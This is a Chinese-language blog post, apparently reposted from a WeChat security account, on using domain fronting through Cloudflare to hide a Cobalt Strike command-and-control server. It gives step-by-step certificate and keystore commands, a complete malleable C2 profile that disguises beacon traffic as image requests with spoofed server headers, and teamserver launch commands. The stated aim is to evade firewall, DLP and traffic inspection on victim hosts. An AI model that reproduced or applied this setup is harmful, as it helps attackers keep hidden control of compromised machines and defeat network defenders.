域前置简介
域前置(Domain Fronting)基于 HTTPS 通用规避技术,也被称为域前端网络攻击技术。这是一种用来隐藏 Metasploit、Cobalt Strike 等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测的技术,如 Amazon、Google、Akamai 等大型厂商会提供一些域前端技术服务。 域前置技术原理(CDN 分发) 通过 CDN 节点将流量转发到真实的 C2 服务器,其中 CDN 节点 IP 通过识别请求的 HOST 头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避 DLP、agent 等流量检测。 工作原理(也就是 CDN 工作原理) 域前置的核心是 CDN CDN 工作原理: 同一个 IP 可以被不同的域名进行绑定加速,再通过 HTTP 请求包头里的 HOST 域名来确定访问哪一个。
1.准备工作
C2域名CloudFlare账号C2服务器
2.配置域名
(1)配置ns服务器设置为cf的地址解析
(2)设置dns解析
(3)缓存配置
xxx.com/**.xxx.com/*
(4)申请客户端证书
(5)保存证书至本地
3.C2证书配置
(1)生成C2证书
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:test123
(2)创建store
证书密码为生成cfcert.p12设置的密码
keytool -importkeystore -deststorepass test123 -destkeypass test123 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass test123 -alias cloudflare_cert
4.配置 Malleable-C2-Profiles文件
使用公开项目加上证书配置:
https-certificate { set keystore "cfcert.store"; #证书名字 set password "test123"; #证书密码}
公开项目地址:https://github.com/rsmudge/Malleable-C2-Profiles
cdn.profile
https-certificate { set keystore "cfcert.store"; #证书名字 set password "test123"; #证书密码}#以上没有配置cloudflare的时候可以先不写http-get { set uri "/image/"; client { header "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8"; header "Referer""http://www.google.com"; header "Host""xxx.com"; #域名,还没有配置cloudflare的时候这一行注释掉 header "Pragma""no-cache"; header "Cache-Control""no-cache"; metadata { netbios; append ".jpg"; # 传输内容自动追加的后缀 uri-append; } } server { header "Content-Type""img/jpg"; header "Server""Microsoft-IIS/6.0"; header "X-Powered-By""ASP.NET"; output { base64; # 加密方式(base64、base64url、netbios、netbiosu) print; } }}http-post { set uri "/email/"; client { header "Content-Type""application/octet-stream"; header "Referer""http://www.google.com"; header "Host""xxx.com"; #域名,还没有配置cloudflare的时候这一行注释掉 header "Pragma""no-cache"; header "Cache-Control""no-cache"; id { netbiosu; append ".png"; uri-append; } output { base64; print; } } server { header "Content-Type""img/jpg"; header "Server""Microsoft-IIS/6.0"; header "X-Powered-By""ASP.NET"; output { base64; print; } }}}
5.检查配置文件
./c2lint cdn.profile
6.服务端启动
./teamserver vpsip test123 cdn.profile
7.客户端启动
(1)配置监听器
8.总结
在同一个CDN厂商下,如果存在两个域名 a.com
和 b.com
,您可以使用 curl
命令访问 a.com
时将主机名(host)改为 b.com
,此时返回的内容实际上是 b.com
的。一般的监测机制不会检查 host 头,因此可以通过一个高信任域名来隐藏真实的域名和IP地址,同时受害主机的流量只与CDN通信,而不会与真实的C2(Command and Control)服务器直接交互。
域前置技术与CDN技术相似,都使用CDN服务,但域前置技术必须启用HTTPS,它基于TLS协议,并且需要修改请求包的host头,这通常通过更改可变配置文件(malleable profile)来实现。相比之下,CDN技术在创建后直接使用,无需过多配置。
此外,CDN技术只能使用自己的域名,一旦其域名被列入黑名单则会失效;而域前置技术可以利用他人的高信誉域名(例如,微软的域名)来伪装自己,前提是该域名与目标域名位于同一CDN下。然而,这种技术在许多CDN厂商中已被禁止,因此不一定能成功实现。
参考链接:
https://webxxe.cn/index.php/archives/238/
https://www.anquanke.com/post/id/195011
原文始发于微信公众号(朱厌安全):Domain Fronting隐藏C2服务器IP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论